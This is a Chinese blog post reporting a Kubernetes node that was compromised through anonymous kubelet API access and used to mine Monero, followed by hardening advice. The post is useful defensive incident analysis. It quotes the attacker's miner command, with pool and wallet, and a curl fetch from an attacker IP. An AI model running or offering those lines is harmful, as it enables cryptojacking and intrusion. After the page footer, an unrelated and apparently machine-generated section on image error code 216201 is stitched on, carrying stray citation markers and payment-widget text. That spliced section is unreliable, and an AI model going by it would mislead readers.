记一次 Kubernetes 中严重的安全问题


此事件发生在 2021-03 月份.

近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿, 后续也找到了原因, 所幸只是用来挖矿…

网络安全是个严肃的问题, 它总是在不经意间出现, 等你反应过来却已经迟了. 希望各位读者看完后也有所启发, 去检查及加固自己的集群.

入侵现象

检查到某台机器中出现了异常进程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

简单来讲, 就是我们的机器被用来挖矿了…

问题出现后, 我们第一时间关闭了 docker, 其实应该隔离下环境, 把挖矿程序 dump 下来, 以便后续分析.

具体原因排查

iptables 为空

出现了异常进程, 肯定是被入侵了, 我首先看的是iptables. 果不其然, 机器上的 iptables 规则是空的, 意味着这台机器在裸奔.

kubelet 裸奔

内部同事提出了有可能是 kubelet 被入侵的问题, 检查过其他组件后, 开始检查 kubelet 组件

最后检查到 kubelet 日志中有异常:

kubelet 设置不当

确认入侵问题, kubelet 参数设置错误, 允许直接访问 kubelet 的 api

发现是 kubelet 的启动项中, 该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取

该项配置是由于我操作不当注释掉的

由于是新增加的机器, 当晚就发现了问题, 整个集群是我在管理的, 我跟随着一起排查, 所以很快就找到了原因, 当晚我就把其他机器中的配置项重新扫了一遍, 假如它们的防火墙失效了, 也会有类似的入侵情况发生, 还好此次事件控制在 1 台机器中.

改进方案

其实该问题理论上讲是可以避免的, 是因为出现了多层漏洞才会被有心人扫到, 我从外到内整理了一下可能改进的策略.

  1. 机器防火墙设置, 机器防火墙是整个系统最外层, 即使机器的防火墙同步失败, 也不能默认开放所有端口, 而是应该全部关闭, 等待管理员连接到 tty 终端上检查.

  2. 使用机器时, 假如机器不是暴露给外部使用的, 公网 IP 可有可无的时候, 尽量不要有公网 IP, 我们的机器才上线 1 天就被扫描到了漏洞, 可想而知, 公网上是多么的危险

  3. 使用 kubelet 以及其他系统服务时, 端口监听方面是不是该有所考量? 能不能不监听0.0.0.0, 而是只监听本机的内网 IP.

  4. 使用 kubelet 以及其他程序, 设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题, 是否应该允许匿名访问, 如果不允许匿名访问, 那么怎么做一套鉴权系统?

  5. 系统管理员操作时, 是否有一个比较规范化的流程, 是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位.

我这里不是抛出疑问, 只是想告诉大家, 考虑系统设计时, 有必要考虑下安全性.

总结

发生了入侵事件后, 同事开玩笑说, 还好没其他经济损失, 要不我可能要回家了. 作为集群的管理员, 只有自己最清楚问题的严重程度. 从本质上来讲, 问题已经相当严重了. 入侵者相当于拥有了机器上 docker 的完整控制权限. 如果读者有读过我关于docker 系列[1]的内容, 就对权限上了解清楚了.

因为此次事件的发生, 不只是我, 还有 SA 的同学基本都被 diao 了一遍, 心里还是有点难受的, 希望大家能对网络安全问题有所重视, 从加固防火墙开始, 避免监听不必要的端口, 这两项至少是最容易实现的.

参考资料

[1]

docker 系列: https://corvo.myseu.cn/tags/Docker/

原文链接:https://corvo.myseu.cn/2021/03/23/2021-03-23-%E8%AE%B0%E4%B8%80%E6%AC%A1Kubernetes%E4%B8%AD%E4%B8%A5%E9%87%8D%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/


你可能还喜欢

点击下方图片即可阅读

记一次 Kubernetes 机器内核问题排查

云原生是一种信仰 ????

关注公众号

后台回复◉k8s◉获取史上最方便快捷的 Kubernetes 高可用部署工具,只需一条命令,连 ssh 都不需要!

点击 "阅读原文" 获取更好的阅读体验!

发现朋友圈变“安静”了吗?

### 图像格式错误解决方案 当遇到图像格式错误 `errorCode:216201` 时,通常意味着在处理或加载特定图像文件时出现了问题。这类错误可能由多种原因引起,包括但不限于损坏的图像文件、不支持的编码格式或是库函数内部发生的内存分配失败等问题。 对于具体提到的忆体错误码 `H_ERR_JPGLIB_MEMORY 5575` 表明,在尝试解码JPEG图片的过程中遇到了严重的资源不足情况[^1]。这可能是由于应用程序试图一次性读取过大的图像数据到内存中所造成的。为了缓解这种情况,可以考虑优化程序逻辑来分批加载大尺寸图像的数据块,而不是全部一次性载入;另外也可以增加服务器端可用RAM大小或者调整操作系统的虚拟内存设置以提供更多的临时存储空间给libjpeg使用。 然而,当前提供的信息并不足以确切判断该错误是否直接关联于上述提及的Kubernetes Pod拉取镜像失败的情况[^2]。如果怀疑两者之间存在联系,则建议先排查容器环境配置以及确认宿主机上的磁盘I/O性能状态良好无异常后再做进一步诊断。 针对此类型的图像格式错误,以下是几种常见的解决方法: #### 方法一:验证并修复源图档 确保原始图像文件本身没有任何物理损伤,并且采用的是广泛兼容的标准压缩算法保存而成。可以通过其他第三方工具打开测试这些可疑文件来进行初步筛查。 #### 方法二:更新依赖项版本 保持使用的图形处理类库处于最新稳定版有助于获得更好的兼容性和安全性补丁。特别是涉及到跨平台移植的应用场景下更应该注意这一点。 #### 方法三:捕获详细的日志录 启用更加详尽的日志级别以便收集更多关于发生位置的具体线索。这对于后续定位根本原因是至关重要的一步。 ```bash # 设置更高的调试等级输出更多信息至控制台 export LOG_LEVEL=DEBUG ``` #### 方法四:实施合理的缓存策略 引入适当级别的对象缓冲机制可以在一定程度上减轻频繁访问外部资源所带来的压力,同时也减少了因网络波动而导致的操作超时风险。 ```python from functools import lru_cache @lru_cache(maxsize=None) def load_image(file_path): """通过LRU Cache装饰器实现简单的图片加载缓存""" with open(file_path, 'rb') as f: return f.read() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值